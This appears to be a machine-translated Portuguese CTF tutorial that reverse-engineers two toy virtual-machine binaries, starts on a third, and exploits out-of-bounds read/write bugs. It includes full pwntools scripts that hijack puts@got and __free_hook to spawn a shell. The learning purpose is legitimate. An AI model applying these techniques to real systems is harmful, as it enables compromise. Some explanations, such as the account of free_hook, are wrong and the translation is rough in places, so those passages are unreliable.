Primeiros Passos da Série VMPWN-1

d8b477f25dea11fe41e3902bdd2d0536.gif

dicas amáveis:

O artigo de hoje é um pouco longo e tem muitas fotos, leia com paciência

5.1 Experimento 1 VMPWN1

5.1.1 Introdução ao tema

Esta é uma pergunta básica relacionada à VM, uma pergunta básica para o VMPWN. Como mencionado anteriormente, o VMPWN geralmente recebe o bytecode e depois analisa o bytecode, mas esta questão não aceita o bytecode, ele recebe uma linguagem de nível superior do bytecode: assembly. O programa recebe diretamente instruções como "mov" e "add". Este problema pode ser considerado como um processador que executa linguagem assembly. Comparado com a VM que analisa o bytecode, a dificuldade reversa é bastante reduzida. Ótimo para começar.

5.1.2 Verificação de Proteção de Título

fa3fb28bd45c188346eadfab346c362b.png

Somente proteção RELRO parcial, o que significa que a tabela de realocação do programa pode ser modificada; sem proteção PIE, o endereço do programa carregado na memória não mudará todas as vezes.

5.1.3 Análise de Vulnerabilidade

Arraste para o processo de análise IDA

56cfc50879bd355f2ad0cb9f6b5d74c6.png

O programa simula uma máquina virtual, v5, v6 e v7 são segmento de pilha, segmento de texto e segmento de dados, respectivamente. Veja a função alloc_mem

22df40dad0be94618bfe4cca3fb1efc1.png

Malloc uma pequena memória ptr, e então o parâmetro a1 é o tamanho da memória a ser alocada, e uma unidade é de 8 bytes. De acordo com a atribuição de ptr no pseudocódigo, uma estrutura pode ser construída, como segue

struct seg_chunk
{
  char *seg;
  int size;
  int nop;
};

Será muito mais intuitivo ver a função alloc_mem

4e29a10f974a13fb61ef454d8dc860c6.png

Mas isso ainda é um pouco difícil de entender, usamos o GDB para abrir o programa para depuração, conforme a figura abaixo

15ab718fb41f487243d3535d27085484.png

fa76de4f6c4994ea56b2837e966aec26.png


Existem vários blocos de pilha pequenos com um tamanho de 0 x 20. Os primeiros 8 bytes no bloco de pilha apontam para o bloco de pilha grande abaixo, e o 8º ao 12º bytes são a quantidade unitária do tamanho do bloco de pilha grande, como 0x400 =0x80*0x8, O comprimento da unidade é de 8 bytes, e o seguinte 0xffffffff não conhece sua função por enquanto, pode ser aplicável apenas a espaços reservados. Portanto, de acordo com os resultados de exibição do gdb, recriamos uma estrutura, como segue

struct manage_chunk
{
  unsigned __int8 *chunk;
  unsigned int unit_num;
  int unknow;
};

Continue a ver a função principal e deixe o usuário inserir o nome do programa

de42a6b30d0dcc4a190149acc8900f30.png

Após alocar cada segmento, vamos inserir o comando e escrevê-lo em um buffer de 0x400

4e9e08525c01d02c01de7e9768e5cbd1.png

Em seguida, escreva no segmento de texto, a função store_opcode é a seguinte

08be5f773d4d17db6cdd5c4a0c1a8b29.png

A função aceita dois parâmetros, a1 é o ponteiro do segmento de texto, a2 é o ponteiro do buffer, o protótipo da função strtok é o seguinte:

char *strtok(char *str, const char *delim)

str -- 要被分解成一组小字符串的字符串。

delim -- 包含分隔符的 C 字符串。

该函数返回被分解的第一个子字符串,如果没有可检索的字符串,则返回一个空指针。

O delim no programa é \n\r\t , strtok(a2, delim) é dividir a string em a2 com \n\r\t

A partir da instrução if-else a seguir, podemos saber que o programa implementa as funções push, pop, add, sub, mul, div, load e save. Cada função corresponde a um opcode e cada opcode é armazenado na função Em um segmento de dados temporário alocado (o pedaço será liberado após a execução da função)

A função sub_40144E é a seguinte:

68cce292e0eef87b968b14d21a8c3eb5.png

Esta função é usada para transferir as instruções da seção de texto temporário na função para a seção de texto do programa. Cada oito bytes armazena um opcode e toda vez que uma instrução é armazenada, o desconhecido será incrementado em 1. Vamos renomear esta função para set_value.

Deve-se notar que a ordem em que os opcodes são armazenados aqui é oposta à ordem em que inserimos as instruções (mas não há nada a observar, de qualquer maneira, o programa é executado de acordo com a ordem em que inserimos as instruções).

A função write_stack é a seguinte:

41115ca9df2ba5d8c0c3c6c4334197f6.png

Em comparação com a função store_opcode, o link de armazenamento do opcode é removido e os dados que inserimos são armazenados no segmento de pilha.

Vamos ver a função execute novamente

299a194790aa46a8c26d60f172523f09.png

1a5b288bd671ce457b45687bc4b714c6.png

Uma instrução de seleção de switch grande, consulte a função sub_4014B4

1ad8230a9f1d6c124343851e59f9a30b.png

Dê o valor no seg em a1 a a2, desconhecido diminuirá em um a cada vez, e a1 é o ponteiro do segmento de texto, então esta função pega a instrução do segmento de texto e o renomeia como take_value.

Para a função set_value, desconhecido será aumentado em 1 a cada vez, e para take_value, desconhecido será diminuído em 1 a cada vez, então podemos adivinhar que desconhecido é a quantidade atual de dados, então redefina a estrutura

struct manage_chunk
{
  unsigned __int8 *chunk;
  unsigned int unit_num;
  int num_now;
};

Veja a função sub_401AAC correspondente a case0x11

e227fe54c6b6e87d10464ae05aab4456.png

A função take_value e a função sub_40144E são chamadas, sub_40144E é a seguinte

0d8b720d731870075f64afd10a96c904.png

Colocar a2 no segmento de a1 é o oposto da operação de take_value, por isso o chamamos de set_value. No geral, parece com isso, como mostrado na figura abaixo

37e2ec8d26d2ea352ca69c1ef7cc22b4.jpeg

Obtenha o valor da pilha e, em seguida, armazene o valor em dados, para que possamos entender a operação aqui como pop, então renomeamos sub_401AAC para pop.

Veja a função sub_401AF8 novamente

1244b7cc0bfe7fd776c0c362e0089ffb.jpeg

Pegue dois valores de dados e, em seguida, adicione os dois valores e armazene-os em dados, então vamos renomeá-lo para adicionar.

ver função sub_401BA5

092bb9c1205943a43ca776199792a67d.jpeg

obviamente subtração

Olhe para a função sub_401C06 novamente

f5fabf24d5d56a898d6861fa03a11a42.jpeg

Essa função é a multiplicação

Olhe para a função sub_401C68 novamente

9c55bb2e526b4297e433677d64138883.jpeg

Esta função é a divisão

Veja a função sub_401CCE novamente

fbc2f500fcb08588a4518e3714776762.jpeg

É um pouco mais complicado, pegue um valor dos dados, use esse valor como um índice, pegue um valor dos dados e carregue o valor obtido nos dados. Chamamos essa função de load.

Finalmente veja a função sub_401D37

69e776b777d4c0e6e10ca98c65d166a3.jpeg

Aqui, retire dois valores a2 e v4, pegue a2 como índice e armazene v4 na memória encontrada pelo índice a2. Nomeie-o salvar.

Até agora, todas as operações foram analisadas, então onde estão as brechas do programa? Preste atenção para ver as funções de carregar e salvar

14ce9dd67cf6b1faa12909c3dc6bd723.jpeg

O índice v3 é obtido do segmento de dados e o valor do segmento de dados é inserido pelo usuário

8ee4a54555853c06e513c3e13bb0d8d5.jpeg

Os dados na seção de dados podem ser controlados por operações como push, pop, adição, subtração, multiplicação e divisão, mas não há restrição nos dados na seção de dados em load, portanto, há um limite brecha de leitura aqui, ou seja, nós apenas É necessário configurar os dados no segmento de dados e, ao usar a função load, os dados que não pertencem ao segmento de dados podem ser lidos no segmento de dados.

Além da vulnerabilidade de leitura fora dos limites no carregamento, também há uma vulnerabilidade na operação de salvamento

b2f9b9cbbf5a0356873255a3871061b3.jpeg

Na função Salvar, dois valores são retirados do segmento de dados e um dos valores é usado como índice do segmento de dados, um valor addr é retirado dele e outro valor é retirado do segmento de dados é armazenado na memória apontada por addr. Não há julgamento sobre esses dois valores, nem julgamento sobre addr, portanto, podemos escrever qualquer valor em qualquer endereço, e há uma vulnerabilidade de gravação fora dos limites aqui.

Portanto, há duas vulnerabilidades neste programa: vulnerabilidades de leitura fora dos limites e vulnerabilidades de gravação fora dos limites.

Após a análise estática, inicie a análise dinâmica

Existe uma brecha de leitura e escrita fora dos limites, como explorá-la?

Como o programa não habilita FULL RELRO, podemos reescrever a tabela got, que armazenará o endereço de carregamento da função que já foi executada, e modificar o valor da tabela got de uma função para modificar o endereço da função que a função finalmente chama. Neste programa existem as seguintes funções

c48cd74ef3a2db540f70d7f85ae00cc2.jpeg

Aqui optamos por alterar o valor na tabela got de puts para o endereço da função do sistema, por quê?

8a2767510102a9599460f0a5f2018608.jpeg

Vamos inserir um nome de programa no início do programa e, após o término da execução, a função puts será chamada para exibir o nome do programa. Quando alteramos o valor da tabela obtida da função puts para o endereço de a função do sistema, puts(s) será Torna-se system(s), e se o conteúdo de s que inserirmos for /bin/sh, então system("/bin/sh") será eventualmente chamado.

Observe o topo da área de heap

6381555b64667d28704d624c866becdf.jpeg

Acima da área Heap está a seção de texto do programa.Há uma tabela got na seção de texto e há um grande número de endereços libc.

81c905862f0e127783111b4546e31bc8.jpeg

O programa em si não tem função de saída, então precisamos usar as funções fornecidas pelo programa para escrever adição e subtração. As funções carregar e salvar são executadas na seção de dados, e há um limite, e seus parâmetros são ponteiros para a estrutura de dados.

e892953826282ec8368e5de4e33d23ce.jpeg

O segmento de dados é operado por meio do ponteiro do segmento de dados armazenado na estrutura de dados. Enquanto modificarmos esse ponteiro, a posição do segmento de dados também mudará de acordo, para que possamos usar a vulnerabilidade de gravação fora dos limites de salvar. Altere o ponteiro da seção de dados para cerca de 0x404000 (você também pode executar leitura e gravação fora dos limites diretamente na seção de dados. Afinal, o escopo da leitura e gravação fora dos limites não é limitado, mas será mais difícil de calcular).

Reescrevemos o ponteiro do segmento de dados para uma seção abaixo de stderr sem conteúdo, ou seja, 0x4040d0.

A carga correspondente a esta operação é

push push save 
0x4040d0 -3

depurar para ver

Vamos interromper o download do push, conforme mostrado na figura abaixo

e44c0a8ade736297fee437d2018c4fc5.jpeg

esse é o 0x00000000004019C7endereço

antes de empurrar

a681483a0ca5e64f5dc15c46b2c11824.jpeg

depois de empurrar

c586d49b0ce1e37c2feeb5ac3ce9270e.jpeg

0x4040d0 é enviado para o início do segmento de dados e, em seguida, -3 também é enviado para o segmento de dados

b948b1dabcba40affe2ea03e7935018b.jpeg

Em seguida, use a gravação fora dos limites da função salvar para gravar 0x4040d0 nos dados[-3]

9a68c256b0df37f0f617215b87cc696e.jpeg 6c38ad08d77619d6fd6184c0b4dc908d.jpeg

Depois de executar esta seção de instruções, o ponteiro da seção de dados é modificado para 0x4040d0.

Posteriormente, nossas operações no segmento de dados são todas baseadas em 0x4040d0. Carregamos o endereço de stderr acima (ou outros endereços) no segmento de dados e, em seguida, calculamos o deslocamento relativo entre stderr e o sistema em libc , empurramos para a seção de dados, e, em seguida, adicione o stderr e o deslocamento para obter o endereço do sistema e, em seguida, use a função salvar para gravar o sistema em puts@got (em 0x404020).

5.1.4 Usando scripts

from pwn import *
context.binary = './ciscn_2019_qual_virtual'
context.log_level = 'debug'
io = process('./ciscn_2019_qual_virtual')
elf = ELF('ciscn_2019_qual_virtual')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

io.recvuntil('name:\n')
io.sendline('/bin/sh')

data_addr = 0x4040d0
offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_']
opcode = 'push push save push load push add push save'
data = [data_addr, -3, -1, offset, -21]

payload = ''
for i in data:
    payload += str(i)+' '

io.recvuntil('instruction:\n')
io.sendline(opcode)
#gdb.attach(io,'b *0x401cce')
io.recvuntil('data:\n')
io.sendline(payload)
io.interactive()

5.2 Experimento 2 VMPWN2

5.2.1 Introdução ao experimento

Esta questão é um pouco mais difícil do que a anterior. A entrada da questão anterior é uma instrução em forma de montagem, e esta questão é uma VM muito clássica, que recebe bytecodes e processa bytecodes. A questão anterior recebe as instruções em forma de montagem são de grande ajuda para nossa engenharia reversa, porque a engenharia reversa normal da VM exige que revertamos o bytecode e restaure-o para as instruções do formulário de montagem; portanto, essa pergunta é a verdadeira pergunta de entrada do VMPWN.

5.2.2 Verificação de Proteção de Título

317fdae66e37a17cf2282dc30a77fdcf.jpeg

Em comparação com a pergunta anterior, mais proteções estão habilitadas, apenas a proteção canary não está habilitada.

5.2.3 Análise de Vulnerabilidade

4dfa1dd71a729603e31b8c70d0f3ebb0.jpeg

Primeiro vamos entrar em PC e SP

Contador de programa do PC, que armazena um endereço de memória onde está armazenada a próxima instrução do computador a ser executada.

O registrador de ponteiro SP sempre aponta para o topo atual da pilha.

Então vamos inserir o tamanho do código, o máximo é 0x10000 bytes e depois inserir o código por sua vez

94b3bb7e699edb5934a238862888ba03.jpeg

A instrução if é usada para limitar o valor do código, modificar o valor do inteiro cujos 8 bits superiores vão de 0xFF a 0xE0000000 e, em seguida, armazená-lo na memória do array. Em seguida, insira o loop where, a função de busca é a seguinte

c567e75fc32c4deea98017a8ff8e5eed.jpeg

Aqui reg[15] é usado para armazenar o valor de PC. Vamos dar uma olhada em alguns dados usados ​​por este programa

787c7b886fe5afea0307fdfbe5c26992.jpeg

Cada vez que o valor de PC é aumentado em 1, e o código na memória é lido sequencialmente

Veja a função executar novamente

Como a função execute é longa, não a liberamos toda de uma vez, mas analisamos em seções

46c943aa0e6d00008069f0bc6ec50374.jpeg e63fccaf2a5b58a7a32f9ec3fdaed973.jpeg

O parâmetro de Execute é um opcode de 4 bytes

v4 = (código & 0xF0000u) >> 16 assumirá o valor do terceiro byte.

v3 = (unsigned __int16)(code & 0xF00) >> 8 assumirá o valor do segundo byte e esse número é apenas um número hexadecimal de 1 dígito.

v2 = código & 0xF levará o último byte.

result = HIBYTE(code), o byte mais alto do código é dado ao resultado e o byte mais alto é usado para especificar o opcode correspondente. Se o byte mais alto for 0x70, execute uma operação de adição, reg[v4] = reg[v2] + reg[v3].

Leia

7b8df58153f694ae24a40ea6cb70a89b.jpeg b6d55682c09aa1afd0709244ada3f1db.jpeg 35369cdbb09c4a54a4fd3e7dd2d9977e.jpeg

Resumido da seguinte forma:

O opcode é 0x10 e uma constante de 1 byte é armazenada em reg[v4];

O opcode é 0x20, julgue se o byte mais baixo do código é 0 e defina reg[v4] como resultado;

O opcode é 0x30, com reg[v2] como índice, envie memory[reg[v2] para reg[v4];

O opcode é 0x40, envie reg[v4] para a memória[reg[v2];

O código de operação é 0x50, e a operação push é executada, e reg[v4] é colocado na pilha, e reg[13] pode ser entendido como o registrador rsp;

O código da operação é 0x60, e a operação pop é executada, e o valor no topo da pilha é inserido em reg[v4];

O opcode é 0x70, execute a operação de adição, reg[v4] = reg[v2] + reg[v3];

O opcode é 0x80, execute uma operação de subtração, reg[v4] = reg[v3] - reg[v2];

O opcode é 0x90, execute a operação AND bit a bit, reg[v4] = reg[v2] & reg[v3];

O opcode é 0xa0, execute uma operação OR bit a bit, reg[v4] = reg[v2] | reg[v3];

O opcode é 0xb0, a operação XOR é executada, reg[v4] = reg[v2] ^ reg[v3];

O opcode é 0xc0, execute a operação de deslocamento à esquerda, reg[v4] = reg[v3] << reg[v2];

O opcode é 0xd0, execute a operação de deslocamento à direita, reg[v4] = (int)reg[v3] >> reg[v2];

O opcode é 0xe0, se não houver valor na pilha, saia e o valor de todos os registros será impresso ao sair.

Acima estão todas as operações implementadas por esta VM. Pode-se ver que as funções básicas da CPU são basicamente realizadas.

Agora que a lógica do programa está clara, é hora de pensar em como usá-la.

Quando os opcodes são 0x30 e 0x40, as funções load e save são implementadas respectivamente. Ao ler o valor da memória no registrador e escrever o valor do registrador na memória, não há limite e o que deve ser lido ou escrito O valor é limitado, portanto, ainda há vulnerabilidades de leitura e gravação fora do limite aqui.

Esta questão habilita a proteção FULL RELRO, para que a tabela got não possa ser escrita, e não podemos modificar a tabela got para sequestrar a função através do método da pergunta anterior.

No final do programa, a função sendcomment é chamada e a função é implementada da seguinte forma

0f8f1c1688696280cdff1ea54c6a3d8d.jpeg 908a8dd628083946fe4b26d94bffdb29.jpeg

Chame a função free para liberar a pilha de comentários.

Aqui precisamos mencionar a função hook free_hook

O que é free_hook?

Na biblioteca GNU C (glibc), free_hook é uma variável global usada para implementar a função hook para alocação e liberação de memória dinâmica. Quando o programa usa funções como malloc(), calloc() e realloc() para alocar memória, ele chamará a função free_hook para realizar operações de liberação de memória.

Ao definir sua própria função free_hook, você pode executar operações de processamento adicionais durante a alocação e liberação de memória, como registro de alocação e liberação de memória, detecção de vazamentos de memória e assim por diante.

Na glibc, você pode implementar uma operação de liberação de memória personalizada definindo a variável free_hook. Por exemplo, o código a seguir pode ser usado para definir a variável free_hook:

void my_free_hook(void *ptr, const void *caller) {
    printf("Freeing memory at %p, called by %p\n", ptr, caller);
    __free_hook = old_free_hook;
    free(ptr);
    __free_hook = my_free_hook;
}

void *old_free_hook = NULL;

int main() {
    old_free_hook = __free_hook;
    __free_hook = my_free_hook;
    __free_hook = old_free_hook;
    return 0;

Neste código, uma função personalizada my_free_hook é definida para implementar a operação de liberação de memória. Na função main(), primeiro salve a variável __free_hook original e, em seguida, defina a função personalizada my_free_hook como a nova variável __free_hook. Quando o programa está em execução, você pode usar a função personalizada my_free_hook para executar operações de liberação de memória.

Deve-se observar que a função personalizada free_hook deve obedecer às especificações de alocação e liberação de memória, alocar e liberar memória corretamente e evitar problemas como vazamentos e estouros de memória.

Ou seja, depois de chamar a função livre, ele primeiro verificará se free_hook está definido com uma função de gancho, se free_hook estiver definido com uma função de gancho, a função de gancho será chamada primeiro e, em seguida, a função livre real será chamado e a função de gancho O parâmetro é o mesmo que o parâmetro da função livre, ou seja, o ponteiro do bloco de heap a ser liberado.

Se definirmos free_hook como o endereço da função do sistema e definirmos o início do bloco heap a ser liberado para /bin/sh, então system("/bin/sh") será chamado primeiro ao chamar free.

Em primeiro lugar, precisamos vazar o endereço libc. Uma distância acima da seção bss é a tabela got. Lemos o endereço libc na tabela got no registrador por meio de leitura fora dos limites. Deve-se notar aqui que desde o registrador é uma palavra dupla, ou seja, quatro bytes, e os endereços são oito bytes, então precisamos de dois registradores para armazenar um endereço.

8e2ee46138b7ce46aa35cdc98580e5c7.jpeg

O último na tabela obtida é stderr, mas não o escolhemos para vazar, porque os dois últimos dígitos do endereço stderr são 00.

2fa9f0f12936778ec7c1e6f1ac30be7a.jpeg

Aqui escolhemos stdin para vazar, pois precisamos calcular __free_hook-8 através do endereço de stdin no futuro, então tente escolher o endereço com uma pequena diferença de free_hook para leak, o que pode reduzir a quantidade de cálculo.

Agora que temos alvos de vazamento, é hora de calcular o índice (reg[v4] = memory[reg[v2]]). O endereço da memória é 0x202060, o endereço de stdin@got é 0x201f80 e a memória também é um tipo de palavra dupla, portanto, há n=(0x202060-0x201f80)/4=56 e o ​​índice é -56.

Como construir -56 pode ser construído armazenando números negativos na memória. 0xffffffc8 representa -56 na memória. Leia os últimos quatro bytes do endereço stdin até -56 e leia as primeiras quatro palavras até -55 Festival. Como obter 0xffffffc8 pode ser obtido por ff deslocamento à esquerda e operação de adição, as etapas de construção são as seguintes:

setnum(0,8), #reg[0]=8
setnum(1,0xff), #reg[1]=0xff
setnum(2,0xff), #reg[2]=0xff
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
setnum(1,0xc8), #reg[1]=0xc8
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)

depurar para ver

ea4c59ee364e64b4d918fb594601d193.jpeg

Primeiro definimos reg[0] como 8 para a operação de deslocamento, reg[1] como 0xff para a operação de adição subsequente e reg[2] como 0xff para a operação de deslocamento

Em seguida, ponto de interrupção na operação de deslocamento à esquerda

f70dffd134aaddd3c2f524734b2475ce.jpeg 5f28ea6476b8ccc4fa151d5df0a4e5c6.jpeg

Depois de deslocar para a esquerda, reg[2] torna-se 0xff00. Continue

d7c8623b32b6a1d073dcd6e9fdd0c2dc.jpeg c00fe845af227f6df9237c2d539b4af3.jpeg

Neste ponto, reg[2] tornou-se 0xffffff00, basta adicionar 0xc8 para construir -56

039713159f2206081addc6763b67e455.jpeg

Em seguida, lemos o endereço do stdin e o armazenamos em dois registradores

read(3,2), #reg[3]=memory[reg[2]]=memory[-56]
setnum(1,1), #reg[1]=1
add(2,2,1), #reg[2]=reg[2]+reg[1]=-56+1=-55
read(4,2), #reg[4]=memory[reg[2]]=memory[-55]

A razão pela qual dois registradores são usados ​​aqui é porque o comprimento de cada registrador é de apenas 4 bytes, e o comprimento do endereço libc é de 8 bytes, então dois registradores são necessários para armazenar um endereço libc completo

Defina um ponto de interrupção na posição da leitura fora dos limites

9a1784af20c3a143b278e67e0e7d671b.jpeg 785b702f5f3affdb84b93c6ffe93f156.jpeg 5aed7ced80469b4137356fab6863e72c.jpeg

Os últimos 4 bytes do endereço libc de stdin foram lidos no reg[3] e outra leitura fora dos limites

8b0452cb22847c62a0611da7839a6030.jpeg

Neste momento, os primeiros 4 bytes também são lidos no reg[4].

Depois de obter o endereço stdin, calculamos o deslocamento de stdin e free_hook-8, adicionamos o deslocamento ao registrador que armazena o endereço stdin por meio de add e, em seguida, escrevemos comment[0], comment[0] e memory O índice relativo é -8 .

Como -8 é calculado?

9d44e6f4880c6590e4492bfa0eed3012.jpeg

O endereço do comentário é 0x56336d3dd040, e o endereço da memória é 0x56336d3dd060, (0x56336d3dd060-0x56336d3dd040)/4=8, e como o comentário está acima da memória, o índice deve ser -8.

setnum(1,0x10), #reg[1]=0x10
left_shift(1,1,0), #reg[1]=reg[1]<<8=0x10<<8=0x1000
setnum(0,0x90), #reg[0]=0x90
add(1,1,0), #reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
add(3,3,1), #reg[3]=reg[3]+reg[1]=&stdin后四字节+0x1090=&free_hook-8后四字节
setnum(1,47), #reg[1]=47
add(2,2,1), #reg[2]=reg[2]+2=-55+47=-8
write(3,2), #memory[reg[2]]=memory[-8]=reg[3]
setnum(1,1), #reg[1]=1
add(2,2,1), #reg[2]=reg[2]+1=-8+1=-7
write(4,2), #memory[reg[2]]=memory[-7]=reg[4]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) #exit

5.1.4 Usando scripts

#!/usr/bin/python
from pwn import *
from time import sleep
context.binary = './OVM'
context.log_level = 'debug'
io = process('./OVM')
elf = ELF('OVM')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


#reg[v4] = reg[v2] + reg[v3]
def add(v4, v3, v2):
    return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])

#reg[v4] = reg[v3] << reg[v2]


def left_shift(v4, v3, v2):
    return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])

#reg[v4] = memory[reg[v2]]


def read(v4, v2):
    return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])

#memory[reg[v2]] = reg[v4]


def write(v4, v2):
    return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])

# reg[v4] = (unsigned __int8)v2


def setnum(v4, v2):
    return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])


code = [
    setnum(0, 8),  # reg[0]=8
    setnum(1, 0xff),  # reg[1]=0xff
    setnum(2, 0xff),  # reg[2]=0xff
    left_shift(2, 2, 0),  # reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)
    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
    left_shift(2, 2, 0),  # reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)
    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
    setnum(1, 0xc8),  # reg[1]=0xc8
    # reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)
    left_shift(2, 2, 0),
    # reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)
    add(2, 2, 1),
    read(3, 2),  # reg[3]=memory[reg[2]]=memory[-56]
    setnum(1, 1),  # reg[1]=1
    add(2, 2, 1),  # reg[2]=reg[2]+reg[1]=-56+1=-55
    read(4, 2),  # reg[4]=memory[reg[2]]=memory[-55]
    setnum(1, 0x10),  # reg[1]=0x10
    left_shift(1, 1, 0),  # reg[1]=reg[1]<<8=0x10<<8=0x1000
    setnum(0, 0x90),  # reg[0]=0x90
    # reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
    add(1, 1, 0),
    add(3, 3, 1),  # reg[3]=reg[3]+reg[1]
    setnum(1, 47),  # reg[1]=47
    add(2, 2, 1),  # reg[2]=reg[2]+2=-55+47=-8
    write(3, 2),  # memory[reg[2]]=memory[-8]=reg[3]
    setnum(1, 1),  # reg[1]=1
    add(2, 2, 1),  # reg[2]=reg[2]+1=-8+1=-7
    write(4, 2),  # memory[reg[2]]=memory[-7]=reg[4]
    u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])  # exit
]

io.recvuntil('PC: ')
io.sendline(str(0))
io.recvuntil('SP: ')
io.sendline(str(1))
io.recvuntil('SIZE: ')
io.sendline(str(len(code)))
io.recvuntil('CODE: ')
for i in code:
    #sleep(0.2)
    io.sendline(str(i))
io.recvuntil('R3: ')
#gdb.attach(io)
last_4bytes = int(io.recv(8), 16)+8
log.success('last_4bytes => {}'.format(hex(last_4bytes)))
io.recvuntil('R4: ')
first_4bytes = int(io.recv(4), 16)
log.success('first_4bytes => {}'.format(hex(first_4bytes)))

free_hook = (first_4bytes << 32)+last_4bytes
libc_base = free_hook-libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
log.success('free_hook => {}'.format(free_hook))
log.success('system_addr => {}'.format(system_addr))
io.recvuntil('OVM?\n')
io.sendline('/bin/sh\x00'+p64(system_addr))
io.interactive()

5.3 Experimento 3 VMPWN3

5.3.1 Introdução ao experimento

Esta questão também é um VMPWN muito típico. Receba o bytecode e, em seguida, analise-o. Haverá brechas no processo de análise. Analise reversa a máquina virtual para descobrir as brechas de análise e, em seguida, construa um bytecode específico e insira-o para passar Este programa vulnerabilidade tira os privilégios da máquina de destino.

5.3.2 Verificação de Proteção de Título

2d8d7f4088628d1118291a5de8ce4988.jpeg

Em comparação com a pergunta anterior, o programa de proteção desta pergunta foi aprimorado e todas as proteções foram ativadas.

5.3.3 Análise de vulnerabilidade

Abra o programa com IDA

277561c13b553cb36f3c36708503cd81.png

A lógica de execução é clara à primeira vista.

9c73baa67ff98b836f7f996eb2b1a761.jpeg

Primeiro, use fread para ler o opcode de 0x100 bytes no código e, em seguida, insira o loop while para analisar o opcode que inserimos.

veja esta função sub_11E9

47f6cf0f3964d7af30dd23f4f6708116.png d71ef5b9987bf7f1b07cf2c04f3c7fe0.jpeg

Uma longa linha de pseudocódigo parece implementar uma função muito complicada, mas dê uma olhada

7ceef28820c6aa4dc0122fd9348b9eaa.jpeg

O valor inicial de pc é 0, então assumimos que este pc agora é 0, então esta linha de código retirará o opcode de 4 bytes do código, depois o deslocará para a esquerda em 8 bits e executará um bit a bit E com 0xFF0000, supondo que o opcode atual seja 0x12345678, 0x12345678<<8&0xFF0000=0x560000, ou seja, pegue o penúltimo byte. O mesmo vale para as seguintes operações: Após cada byte ser removido, ele é combinado com uma operação OR bit a bit, mas o opcode após a combinação é a ordem inversa do opcode original. Ou seja, se o código original for 0x12345678, o opcode após removê-lo será 0x78563412. Depois de buscar uma sequência de códigos, adicione 4 ao ponteiro pc.

Portanto, a função dessa função é buscar instruções, por isso a renomeamos como fetch_code.

Em seguida, continue a olhar para baixo.

1892563e6cf28466c3e4bdde4ecb7245.jpeg

O que significa HIBYTE(código)? ver compilação

f752ca26b3f2439e8b565b044d66523b.jpeg

Coloque o código em eax, depois desloque 24 bits para a direita e retire o valor em ax neste momento. Se nosso código for 0x78563412, então HIBYTE(código) será 0x78. Em outras palavras, HIBYTE(código) terá o 1 byte de código mais alto. Então renomeamos v7 para code

Então veja a posição de julgar v6

4bac5058be7c6e3110102b87c1792464.jpeg

Muitos cálculos foram feitos aqui, mas não são exibidos no código, vamos continuar analisando a montagem

661545b497db4851b300f6329f78c16f.jpeg

Armazene o código em eax, depois desloque eax para a direita em 16 bits e armazene al na variável var_249.Esta operação realmente remove o segundo byte, então renomeamos var_249 para second_byte. olhar para baixo

900117152ea7e53e4ecc9a767b9e98f5.jpeg

Aqui, o código é armazenado em eax, então ax é deslocado para a direita em 8 bits e al é armazenado na variável var_248. Essa operação remove o terceiro byte, então renomeamos var_248 para terceiro_byte.

f536933f6e9df8cb57af296497e6d98d.jpeg

Aqui é para armazenar o quarto byte em var_247 e renomeá-lo para forward_byte.

b4bee91c9ba45097fe6575b0954d5b0e.jpeg

Selecione a função correspondente de acordo com o 1 byte extraído. O valor máximo é de até 0xF, então o 1 byte retirado aqui deve ser o código da função, que corresponde a qual operação queremos realizar.

Em seguida, comece a analisar as funções do vm e como realizá-las.

8b89aff6a064d0cee90a78b7b28af7e5.jpeg

Percebi que há muitas declarações de julgamento no programa, julgando se o primeiro byte ou o segundo byte no código é maior ou igual a 6 e, se for, saia. De acordo com minha experiência, o julgamento aqui é o valor do índice do registrador. Julgamento, ou seja, o valor do índice do registrador só pode ser 5 no máximo, então são 6 registradores no total, o índice é de 0 a 5, e o tamanho de cada registrador é WORD, ou seja é, 2 bytes.

Além dos registradores de uso geral, uma máquina virtual também deve ter um ponteiro pc (que apareceu anteriormente) e um ponteiro sp para indicar a posição superior da pilha, então procuramos por possíveis ponteiros sp no programa. Como a alteração do ponteiro sp é seguida por popping e stacking, ela é bastante determinística.

ff876c791fa9781e0b8b832218f3b324.jpeg

Aqui encontramos uma operação semelhante a empurrar e abrir a pilha, e a pilha e o ponteiro superior da pilha foram rapidamente determinados. Renomeado v9 para sp_ptr.

74d826148c4600fda343a400c7250906.jpeg

v10+v11 tem um total de 0xc bytes, e o registrador tem 2*6=0xc bytes, mais a pilha, podemos obter a estrutura da máquina virtual da seguinte forma:

struct vm
{
  int16_t regs[6];
  int16_t stack[256];
};

Aplicado ao IDA conforme mostrado abaixo

74bc6bdf307ac348c1838c889134a720.jpeg

